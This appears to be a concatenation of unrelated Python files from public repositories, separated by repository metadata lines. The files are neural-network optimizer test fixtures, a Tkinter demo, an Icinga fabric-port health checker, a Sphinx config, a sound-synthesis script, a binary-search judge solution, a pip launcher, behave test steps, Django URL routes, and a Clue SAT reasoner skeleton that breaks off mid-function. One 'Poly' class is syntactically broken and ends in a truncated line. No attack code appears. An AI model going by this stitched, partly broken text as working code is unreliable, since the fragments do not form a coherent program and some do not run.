# -*- coding: utf-8 -*- """ Created on Wed Jul 25 17:00:47 2018 @author: kobe24 """ import numpy as np def update_parameters_with_gd_test_case(): np.random.seed(1) learning_rate = 0.01 W1 = np.random.randn(2, 3) b1 = np.random.randn(2, 1) W2 = np.random.randn(3, 3) b2 = np.random.randn(3, 1) dW1 = np.random.randn(2, 3) db1 = np.random.randn(2, 1) dW2 = np.random.randn(3, 3) db2 = np.random.randn(3, 1) parameters = {"W1": W1, "b1": b1, "W2": W2, "b2": b2} grads = {"dW1": dW1, "db1": db1, "dW2": dW2, "db2": db2} return parameters, grads, learning_rate def random_mini_batches_test_case(): np.random.seed(1) mini_batch_size = 64 X = np.random.randn(12288, 148) Y = np.random.randn(1, 148) < 0.5 return X, Y, mini_batch_size def initialize_velocity_test_case(): np.random.seed(1) W1 = np.random.randn(2, 3) b1 = np.random.randn(2, 1) W2 = np.random.randn(3, 3) b2 = np.random.randn(3, 1) parameters = {"W1": W1, "b1": b1, "W2": W2, "b2": b2} return parameters def update_parameters_with_momentum_test_case(): np.random.seed(1) W1 = np.random.randn(2, 3) b1 = np.random.randn(2, 1) W2 = np.random.randn(3, 3) b2 = np.random.randn(3, 1) dW1 = np.random.randn(2, 3) db1 = np.random.randn(2, 1) dW2 = np.random.randn(3, 3) db2 = np.random.randn(3, 1) parameters = {"W1": W1, "b1": b1, "W2": W2, "b2": b2} grads = {"dW1": dW1, "db1": db1, "dW2": dW2, "db2": db2} v = {'dW1': np.array([[0., 0., 0.], [0., 0., 0.]]), 'dW2': np.array([[0., 0., 0.], [0., 0., 0.], [0., 0., 0.]]), 'db1': np.array([[0.], [0.]]), 'db2': np.array([[0.], [0.], [0.]])} return parameters, grads, v def initialize_adam_test_case(): np.random.seed(1) W1 = np.random.randn(2, 3) b1 = np.random.randn(2, 1) W2 = np.random.randn(3, 3) b2 = np.random.randn(3, 1) parameters = {"W1": W1, "b1": b1, "W2": W2, "b2": b2} return parameters def update_parameters_with_adam_test_case(): np.random.seed(1) v, s = ({'dW1': np.array([[0., 0., 0.], [0., 0., 0.]]), 'dW2': np.array([[0., 0., 0.], [0., 0., 0.], [0., 0., 0.]]), 'db1': np.array([[0.], [0.]]), 'db2': np.array([[0.], [0.], [0.]])}, {'dW1': np.array([[0., 0., 0.], [0., 0., 0.]]), 'dW2': np.array([[0., 0., 0.], [0., 0., 0.], [0., 0., 0.]]), 'db1': np.array([[0.], [0.]]), 'db2': np.array([[0.], [0.], [0.]])}) W1 = np.random.randn(2, 3) b1 = np.random.randn(2, 1) W2 = np.random.randn(3, 3) b2 = np.random.randn(3, 1) dW1 = np.random.randn(2, 3) db1 = np.random.randn(2, 1) dW2 = np.random.randn(3, 3) db2 = np.random.randn(3, 1) parameters = {"W1": W1, "b1": b1, "W2": W2, "b2": b2} grads = {"dW1": dW1, "db1": db1, "dW2": dW2, "db2": db2} return parameters, grads, v, s
6e16eb02377cc610a5fc96b60340c6eb5e836481
99701affb7ae46c42c55484f3301d59f79294a10
/project/Examples/Examples/PP2E/Gui/Intro/gui6old.py
0040a9f75fa64b7ac4def2b0ad5feaaf1eb761dc
[]
no_license
inteljack/EL6183-Digital-Signal-Processing-Lab-2015-Fall
1050b9e9bddb335bf42b7debf2abebe51dd9f9e0
0f650a97d8fbaa576142e5bb1745f136b027bc73
refs/heads/master
2021-01-21T21:48:21.326372
2016-04-06T20:05:19
2016-04-06T20:05:19
42,902,523
7
1
null
null
null
null
UTF-8
Python
false
false
563
py
from Tkinter import * # get the Tk module class Hello(Frame): # subclass our app def __init__(self, parent=None, config={}): Frame.__init__(self, parent, config) # do superclass init self.pack() self.make_widgets() # add our widgets def make_widgets(self): Button(self, {'text': 'Hello framework world!', 'command' : self.quit, Pack: {'side': 'left'} }) if __name__ == '__main__': Hello().mainloop()
6902d0c4cc311ab56fc72f78e2c3e8f7273167fa
0f48e585a9ea98ba95d34a9c3fbe36f94cbe00ea
/fabric_checker.py
7420f4d25cceea30ff30893a690d7b3ec7289d39
[]
no_license
jose-d/check-opa-fabric
3c7f50aebc5dbeed56dee2d0c45308396350b30c
8496504dd0887cf483f23682fbcb6a2b79568e7e
refs/heads/master
2020-03-23T07:38:56.551488
2018-08-14T15:17:12
2018-08-14T15:17:12
141,283,414
0
0
null
null
null
null
UTF-8
Python
false
false
12,616
py
from icinga import Icinga import sys from icinga import IcingaCheckResult if __name__ == "__main__": print "this file should be not executed standalone" sys.exit(1) # static class providing checking of fabric class FabricChecker: @staticmethod def process_check_output(crit, warn, os, rc, message): l_crit = crit l_warn = warn l_os = os if rc == Icinga.STATE_CRITICAL: l_crit = True elif rc == Icinga.STATE_WARNING: l_warn = True l_os = str(l_os) + '<p>' + str(message) + '</p>' return (l_crit, l_warn, l_os) @staticmethod def get_error_counters_from_config(conf, debug=False): error_counters = {} for item in conf['thresholds']: counter_name = str(item['counter']) error_counters[counter_name] = {} error_counters[counter_name]['crit'] = item['crit'] # absolute critical threshold # TODO: IMO this makes no sense in long term when rate will be working error_counters[counter_name]['warn'] = item['warn'] # absolute warning threshold # TODO: -""- error_counters[counter_name]['rate'] = item['warn'] # critical rate # TODO: perhaps warning rate could make sense.. But not sure what should be the event/action to be done if debug: print str(error_counters) return error_counters @staticmethod def check_indicator(value, name, ok_values, warning_values, hide_good=False): critical = False warning = False if str(value) in ok_values: if hide_good: message = "" pass else: message = "[OK] indicator " + str(name) + " has reference value, " + str(value) + "/" + str(ok_values) + "." elif str(value) in warning_values: message = "[WARNING] indicator " + str(name) + " is at warning level, " + str(value) + "/" + str(ok_values) + "." warning = True else: message = "[CRITICAL] indicator " + str(name) + " is at critical level, " + str(value) + "/" + str(ok_values) + "." critical = True if critical: rc = Icinga.STATE_CRITICAL elif warning: rc = Icinga.STATE_WARNING else: rc = Icinga.STATE_OK return (rc, message) @staticmethod def check_port(port_error_counters, error_counters, hide_good=False): crit = False warn = False os = "" # LinkQualityIndicator (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkQualityIndicator'], 'LinkQualityIndicator', ['5'], ['4'], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # LinkSpeedActive (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkSpeedActive'], 'LinkSpeedActive', ['25Gb'], [], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # LinkWidthDnGradeTxActive (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkWidthDnGradeTxActive'], 'LinkWidthDnGradeTxActive', ['4'], [], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # LinkWidthDnGradeRxActive (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkWidthDnGradeRxActive'], 'LinkWidthDnGradeRxActive', ['4'], [], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # all "simple" err counters - we're checking if number is higher than some threshold. for counter in error_counters: bad = False rs = "[OK]" value = int(port_error_counters[counter]) if value > error_counters[counter]['warn']: warn = True bad = True rs = "[WARNING]" if value > error_counters[counter]['crit']: bad = True crit = True rs = "[CRITICAL]" if bad or not hide_good: os = os + '<p>' + str(rs) + ":" + str(counter) + " " + str(value) + "</p>" return crit, warn, os @staticmethod def check_port_with_perf_data(port_error_counters, error_counters, hide_good=False): crit = False warn = False unknown = False os = "" perf_data = [] # LinkQualityIndicator (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkQualityIndicator'], 'LinkQualityIndicator', ['5'], ['4'], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # LinkSpeedActive (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkSpeedActive'], 'LinkSpeedActive', ['25Gb'], [], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # LinkWidthDnGradeTxActive (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkWidthDnGradeTxActive'], 'LinkWidthDnGradeTxActive', ['4'], [], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # LinkWidthDnGradeRxActive (rc, message) = FabricChecker.check_indicator(port_error_counters['LinkWidthDnGradeRxActive'], 'LinkWidthDnGradeRxActive', ['4'], [], hide_good) (crit, warn, os) = Icinga.process_check_output(crit, warn, os, rc, message) # all "simple" err counters - we're checking if number is higher than some threshold. for counter in error_counters: try: value = int(port_error_counters[counter]) except: # we're not able to parse value, the typical reason is the data are missing, bcs port is down, we'll return unknown flag unknown = True return (crit, warn, unknown, "", None) tags = None data_tuple = (None, counter, value, tags) perf_data.append(data_tuple) return crit, warn, unknown, os, perf_data @staticmethod def check_node_port_health(node, fabric_info, conf): crit = False warn = False unknown = False error_counters = FabricChecker.get_error_counters_from_config(conf) # counters we want to check including thresholds try: (r_crit, r_warn, r_unknown, r_os, data_remote) = FabricChecker.check_port_with_perf_data(fabric_info.get_node_remote_port_errors(node), error_counters) (l_crit, l_warn, l_unknown, l_os, data_local) = FabricChecker.check_port_with_perf_data(fabric_info.get_node_local_port_errors(node), error_counters) except KeyError: # raise #for debug uncomment return None, None # process return code: if r_crit or l_crit: crit = True elif r_warn or l_warn: warn = True elif r_unknown or l_unknown: unknown = True icr = IcingaCheckResult() # header for the output if l_crit or l_warn: icr.append_string("local port problem") if r_crit or r_warn: icr.append_string("remote port problem") if not (l_crit or l_warn) and not (r_crit or r_warn) and not (r_unknown or l_unknown): icr.append_string("[OK] - both sides of link are OK") if unknown: icr.append_string("[UNKNOWN] - one of the ports is unreachable..") icr.append_new_line() icr.append_string(Icinga.create_local_port_status_string(l_os)) # local port icr.append_string(Icinga.create_remote_port_status_string(r_os, fabric_info.get_node_remote_port_nodedesc(node), fabric_info.get_node_remote_port_portnr(node))) # remote port. icr.status_code = Icinga.STATE_OK if warn: icr.status_code = Icinga.STATE_WARNING if crit: icr.status_code = Icinga.STATE_CRITICAL if unknown: icr.status_code = Icinga.STATE_UNKNOWN new_data = FabricChecker.build_data_bundle(data_local, data_remote, node) return new_data, icr @staticmethod def build_data_bundle(data_local, data_remote, node): """ add node tag to the data, tag local and remote port.. """ new_data = [] if data_local: # data can be also empty = dead port, etc. then we'll return none. for item in data_local: (t_time, t_metric, t_value, t_tags) = item t_tags = [node, 'local'] # tag was empty, let's add tag new_data.append((t_time, t_metric, t_value, t_tags)) if data_remote: for item in data_remote: (t_time, t_metric, t_value, t_tags) = item t_tags = [node, 'remote'] # tag was empty, let's add tag new_data.append((t_time, t_metric, t_value, t_tags)) if len(new_data) > 1: return new_data else: return None @staticmethod def check_switch_interswitch_links_count(switch, switch_icinga_hostname, expected_port_count, fabric_info, conf): oc = Icinga.STATE_OK os = "" portcount = fabric_info.get_switch_inter_switch_port_count(switch) if int(expected_port_count) != int(portcount): os = "[WARNING] different (" + str(portcount) + ") than expected (" + str(conf['top_level_switch_downlinks_count']) + ") downlinks port count found on this switch." oc = Icinga.STATE_WARNING else: os = "[OK] expected downlinks port count found (" + str(portcount) + ") there on " + str(switch) oc = Icinga.STATE_OK Icinga.post_check_result(conf, conf['api_host'], int(conf['api_port']), switch_icinga_hostname, "external-poc-downlink-port-count", int(oc), str(os), conf['check_source']) @staticmethod def check_switch_ports(switch, switch_icinga_hostname, fabric_info, conf): os_links = "" oc_links = Icinga.STATE_OK warn = False crit = False error_counters = FabricChecker.get_error_counters_from_config(conf) try: for port in fabric_info.inter_switch_links[switch]: try: (r_crit, r_warn, r_os) = FabricChecker.check_port(fabric_info.get_switch_remote_port_errors(switch, port), error_counters, hide_good=True) # we don't want to see good ports, bcs. there is too much of them (l_crit, l_warn, l_os) = FabricChecker.check_port(fabric_info.get_switch_local_port_errors(switch, port), error_counters, hide_good=True) if r_crit or l_crit: crit = True if r_warn or l_warn: warn = True if l_crit or l_warn: os_links = str(os_links) + "<p><b> local port " + str(port) + " is not healthy: </b></p>" os_links = str(os_links) + str(l_os) if r_crit or r_warn: os_links = str(os_links) + "<p><b> remote port connected to port " + str(port) + ", " + str(fabric_info.get_switch_remote_port_nodedesc(switch, port)) + "(port nr. " + str(fabric_info.get_switch_remote_port_portnr(switch, port)) + ") is not healthy: </b></p>" os_links = str(os_links) + str(r_os) except KeyError: print("err: key missing") raise pass if crit: oc_links = Icinga.STATE_CRITICAL os_links = "[CRITICAL] - problems found on switch ports \n" + str(os_links) elif warn: oc_links = Icinga.STATE_WARNING os_links = "[WARNING] - problem found on switch ports \n" + str(os_links) else: os_links = "[OK] - switch ports are OK \n" + str(os_links) Icinga.post_check_result(conf, conf['api_host'], int(conf['api_port']), str(switch_icinga_hostname), "external-poc-downlink-port-health", int(oc_links), str(os_links), conf['check_source'], debug=False) except KeyError: # this exception means there is port down on the switch. This is not unusual state. Icinga.post_check_result(conf, conf['api_host'], int(conf['api_port']), str(switch_icinga_hostname), "external-poc-downlink-port-health", 3, "switch unreachable", conf['check_source'], debug=False)
1190eac236acdec39872c706d639e641e14c6281
b979e1cb7beb6a0c75820435f592646e2e8e5c97
/docs/source/conf.py
9f77af81f3d733c937522560daeac033d8334a7b
[]
no_license
nemani/sphinx-bug-report-example
aa6c1ae9e20787f6b36b48ebb7018b6560f29e50
94e05f10ba63194f60531f733aa564c5d8604927
refs/heads/main
2023-06-11T22:27:15.151333
2021-07-06T16:30:28
2021-07-06T16:30:28
383,528,849
0
0
null
null
null
null
UTF-8
Python
false
false
1,904
py
# Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. import os import sys sys.path.insert(0, os.path.abspath('../..')) # -- Project information ----------------------------------------------------- project = 'sphinx-xml-test' copyright = '2021, nemani' author = 'nemani' # The full version, including alpha/beta/rc tags release = 'nemani' # -- General configuration --------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = ['sphinx.ext.autodoc'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. exclude_patterns = [] # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'alabaster' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static']
5ef8e3ab3a6681f1244d65bf703e2d9f3ea06bff
260f11f7a38fade189da46ff7f7d546ed73ef365
/examples/try2_.py
a7d607cbe4adb88e50665e3ddce3b14a3913228b
[]
no_license
ttm/figgus
db467317521ee408e55c89972f6b721ace5c7ffb
029f262efa1b6a387d5550dd98f1857e65f4a827
refs/heads/master
2021-07-02T18:12:22.678885
2017-09-25T06:49:36
2017-09-25T06:49:36
104,550,937
0
0
null
null
null
null
UTF-8
Python
false
false
5,935
py
import figgus as f n=4 grains=[f.UnitGrain(),f.UnitGrain(),f.UnitGrain(),f.UnitGrain()] s=f.Sequence(grains) ########### # Construction loop: in each compass, # I choose some parameters for our sequence, # More sppeciffically, i choose parameters for # each of the 4 units/grains and a permutation # The permutation gives periodicity, inteligibility, # and builds third order archs in the musical discourse # 1st order: grain # 2nd order: sequence/compass # 3rd order: permutation cycle # 4th order: permutation cycleS periods toguether and other aesthetic resources # 5th order: the piece as it is # 6th order: sets of pieces # 7th order: the whole social/human context of the piece, life of the author, etc. ### sound=[] # COMPASS 1-4 *.*.*.*.*.*.*.*.*.*.*.*.* 1 def doCompass(): for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2 + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() return p.sonic_vector sound+=doCompass() # COMPASS 5-8 *.*.*.*.*.*.*.*.*.*.*.*.* 2 """for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector # COMPASS 9-12 *.*.*.*.*.*.*.*.*.*.*.*.* 3 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.05*i#.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector ################### # COMPASS 13-16 *.*.*.*.*.*.*.*.*.*.*.*.* 4 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.1#.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector ########## 4 compassos de 4 1 ########## ########## # COMPASS 1-4 *.*.*.*.*.*.*.*.*.*.*.*.* 1 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2 + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500*3./2 ### Uma quinta a cima o pedal/bola #pp=PermutationPattern()s p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector # COMPASS 5-8 *.*.*.*.*.*.*.*.*.*.*.*.* 2 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500*3./2 ### Uma quinta a cima o pedal/bola #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector # COMPASS 9-12 *.*.*.*.*.*.*.*.*.*.*.*.* 3 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.01*i**2#.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500*3./2 ### Uma quinta a cima o pedal/bola #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector ################### # COMPASS 13-16 *.*.*.*.*.*.*.*.*.*.*.*.* 4 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.1#.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500*3./2 ### Uma quinta a cima o pedal/bola #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),4) p.synthesizeSonicVectors() sound+=p.sonic_vector ######### ######### ######### 4 compass de 4 ::: 2 # COMPASS 1-4 *.*.*.*.*.*.*.*.*.*.*.*.* 1 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2 + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500/2 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector # COMPASS 5-8 *.*.*.*.*.*.*.*.*.*.*.*.* 2 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500/2 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector # COMPASS 9-12 *.*.*.*.*.*.*.*.*.*.*.*.* 3 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.2*i#.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500/2 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector ################### # COMPASS 13-16 *.*.*.*.*.*.*.*.*.*.*.*.* 4 for i in xrange(n): s.ordered_unit_grains[i].freq=10000 - 1000*(i+1) s.ordered_unit_grains[i].duration=.1*i#.2# + 0.05*i #print 100*(i+1) s.ordered_unit_grains[1].freq=100 s.ordered_unit_grains[3].freq=500/2 #pp=PermutationPattern() p=f.Pattern(s,f.PermutationPattern(),8) p.synthesizeSonicVectors() sound+=p.sonic_vector ######## ######## ######## Acabou 3 x 4 compass de 4 == tonica dominante tonica io=f.IOUtils() io.recordFile("som.wav",sound) #print "== Ouca que 'o triangulo gira e existe uma bola do lado' (nome da peca) ==" """
[ "rfabbri@ubuntu.(none)" ]
rfabbri@ubuntu.(none)
fb9f17fd371272d0ccc502ffd6dc01fb1e3d164f
1b7c2c267532f92aad464f23d9e89f2e4510379d
/baekjun-online-judge/No-1654.py
02ea7bd5520aa321d40706f87c119dab92912d10
[]
no_license
Donkey-1028/algorithms
0972e1861e9e0ecb0d684c1e3e1e6c1de5dbbaa0
7c55b37c6e16904b142bd5a2b7550a158e0e50d3
refs/heads/master
2020-12-06T14:58:37.635964
2020-05-04T07:11:27
2020-05-04T07:11:27
232,490,972
0
0
null
null
null
null
UTF-8
Python
false
false
2,403
py
""" 집에서 시간을 보내던 오영식은 박성원의 부름을 받고 급히 달려왔다. 박성원이 캠프 때 쓸 N개의 랜선을 만들어야 하는데 너무 바빠서 영식이에게 도움을 청했다. 이미 오영식은 자체적으로 K개의 랜선을 가지고 있다. 그러나 K개의 랜선은 길이가 제각각이다. 박성원은 랜선을 모두 N개의 같은 길이의 랜선으로 만들고 싶었기 때문에 K개의 랜선을 잘라서 만들어야 한다. 예를 들어 300cm 짜리 랜선에서 140cm 짜리 랜선을 두 개 잘라내면 20cm 은 버려야 한다. (이미 자른 랜선은 붙일 수 없다.) 편의를 위해 랜선을 자르거나 만들 때 손실되는 길이는 없다고 가정하며, 기존의 K개의 랜선으로 N개의 랜선을 만들 수 없는 경우는 없다고 가정하자. 그리고 자를 때는 항상 센티미터 단위로 정수길이만큼 자른다고 가정하자. N개보다 많이 만드는 것도 N개를 만드는 것에 포함된다. 이때 만들 수 있는 최대 랜선의 길이를 구하는 프로그램을 작성하시오. 첫째 줄에는 오영식이 이미 가지고 있는 랜선의 개수 K, 그리고 필요한 랜선의 개수 N이 입력된다. K는 1이상 10,000이하의 정수이고, N은 1이상 1,000,000이하의 정수이다. 그리고 항상 K ≦ N 이다. 그 후 K줄에 걸쳐 이미 가지고 있는 각 랜선의 길이가 센티미터 단위의 정수로 입력된다. 랜선의 길이는 231-1보다 작거나 같은 자연수이다. 첫째 줄에 N개를 만들 수 있는 랜선의 최대 길이를 센티미터 단위의 정수로 출력한다. 입력 4 11 802 743 457 539 출력 200 """ from sys import stdin input_count, need_count = map(int, stdin.readline().split(' ')) lan = [] for _ in range(input_count): lan.append(int(stdin.readline())) lan.sort() def lan_binary_search(array, count): low, high, = 1, max(array) max_length = 0 while low <= high: result = 0 mid = (low + high) // 2 for _, value in enumerate(array): result += value // mid if result >= count: max_length = mid # 입력받은 수에 맞게 나눠진 최대 길이를 저장 low = mid + 1 elif result < count: high = mid - 1 return max_length print(lan_binary_search(lan, need_count))
04a53cc87ebb44f17fe8c63c49b8877195ff9ee3
b227335e3afe41ea5f23864d611899e5d38eaadd
/venv/Scripts/pip-script.py
85f50fb721d4d9f24fa53ce00e8c400eddf235cf
[]
no_license
snowb2/bookmark_test2
a6c0a8d48720b1527c8be1f694965f1b9d80f070
0b9061f738ce5590f30821b4c14754b66af6af08
refs/heads/master
2020-10-01T13:32:33.405419
2019-12-12T07:54:08
2019-12-12T07:54:08
227,547,685
0
0
null
null
null
null
UTF-8
Python
false
false
408
py
#!"C:\Big Data\Django\Work1\bookmark\venv\Scripts\python.exe" # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('pip==19.0.3', 'console_scripts', 'pip')() )
8fe143313247277bd576206612f80d0a27dbdd82
29dbe768bf42862fdfdb1e7586d3cbbd6efe74e9
/tests/features/steps/assignments_repo/test_assignments_get.py
a4a0cea7d1f3ca58e8248a68825fb2765a33f8bd
[ "Apache-2.0" ]
permissive
itayginz/dtlpy
d65628897ca333c5c50c7e1237f93a204d2427a3
5bdf61502b452fb3793c1a6864a3cfe771e3007f
refs/heads/master
2022-07-20T08:08:15.525874
2020-05-14T09:06:08
2020-05-14T09:06:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
677
py
import behave @behave.when(u'I get Assignment by "{get_method}"') def step_impl(context, get_method): if get_method == 'id': context.assignment_get = context.task.assignments.get(assignment_id=context.assignment.id) elif get_method == 'name': context.assignment_get = context.task.assignments.get(assignment_name=context.assignment.name) @behave.then(u'I get an assignment entity') def step_impl(context): assert isinstance(context.assignment_get, context.dl.entities.Assignment) @behave.then(u'Assignment received equals assignment created') def step_impl(context): assert context.assignment_get.to_json() == context.assignment.to_json()
01d0417b8e6bf905a6cdd6631c411666c90de6c7
25c72675fe0105e255aa353eee87ba31ebeda2c7
/python code/polynomial.py
d12978ac7911fdbf39540e23090449355e23969f
[]
no_license
rehankarol09/PythonRepo
ea0bf9e52c5c3e282c180e49d82768140a2c8664
499a4a767262ecc00f38a9740ee3a2d28f32bfad
refs/heads/main
2023-03-25T02:48:08.187166
2021-03-21T10:07:37
2021-03-21T10:07:37
349,957,959
0
0
null
null
null
null
UTF-8
Python
false
false
220
py
class Poly(object): def __init__(self, size): exponent=[] coeficent=[] nott=size def insert(self): print(self.nott) for i in range(self.nott): sel
a8267c3412a434387e9ec1e441dac6841f9a13b0
607a641680b30e0049c60381b27f1c7d927edc16
/newyolo/urls.py
05b90743a1b99b35d4309a67b64fc24aabb8baca
[]
no_license
iyolo/newyolo
d0091dcc170df8489ca24b379b0056bcb4b40ace
0016bcda53745f315e2ecb457936423e56c3fe2a
refs/heads/master
2022-09-25T15:25:38.843100
2022-08-19T18:59:27
2022-08-19T18:59:27
227,032,744
0
0
null
null
null
null
UTF-8
Python
false
false
848
py
"""newyolo URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.conf.urls import url,include from igame.views import index urlpatterns = [ url(r'^igame/',include('igame.urls')), url(r'^iblog/',include('iblog.urls')), url(r'^$', index, name='index'), ]
fe51816c5ab1c90abaeec0fb56163d18ce160d0d
3639e44738faa9592df5f7e200e649494018632f
/smallProjects/Clue Solver/clue_reasoner.py
0ae55e7ccd03060f96b4180be9a9d79351a302e9
[]
no_license
ashleygw/AI
6218c094b751d7844f0427c4fc9b5b22fb2c5c13
64411485a9b27f55345ee28794f5b1dc6a6867d8
refs/heads/master
2021-06-19T01:38:15.791616
2019-06-29T19:50:55
2019-06-29T19:50:55
115,844,961
0
0
null
null
null
null
UTF-8
Python
false
false
6,925
py
'''clue_reasoner.py - project skeleton for a propositional reasoner for the game of Clue. Unimplemented portions have the comment "TO BE IMPLEMENTED AS AN EXERCISE". The reasoner does not include knowledge of how many cards each player holds. Originally by Todd Neller Ported to Python by Dave Musicant Ported to Python3 by Andy Exley Copyright (C) 2008 Dave Musicant Copyright (C) 2016 Andy Exley This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. Information about the GNU General Public License is available online at: http://www.gnu.org/licenses/ To receive a copy of the GNU General Public License, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.''' import SATSolver # Initialize important variables case_file = "cf" players = ["sc", "mu", "wh", "gr", "pe", "pl"] extended_players = players + [case_file] suspects = ["mu", "pl", "gr", "pe", "sc", "wh"] weapons = ["kn", "ca", "re", "ro", "pi", "wr"] rooms = ["ha", "lo", "di", "ki", "ba", "co", "bi", "li", "st"] cards = suspects + weapons + rooms def get_pair_num_from_names(player,card): ''' Returns the integer that corresponds to the proposition that the given card is in the given player's hand Preconditions: player is a string representation of a valid player or case file card is a string representation of a valid card ''' assert isinstance(player, str), 'player argument should be a string' assert isinstance(card, str), 'card argument should be a string' assert player in extended_players, 'Given player ' +player+ ' is not a valid location' assert card in cards, 'Given card ' + card + ' is not a valid card' return get_pair_num_from_positions(extended_players.index(player), cards.index(card)) def get_pair_num_from_positions(player,card): return player*len(cards) + card + 1 # TO BE IMPLEMENTED AS AN EXERCISE def initial_clauses(): clauses = [] # Each card is 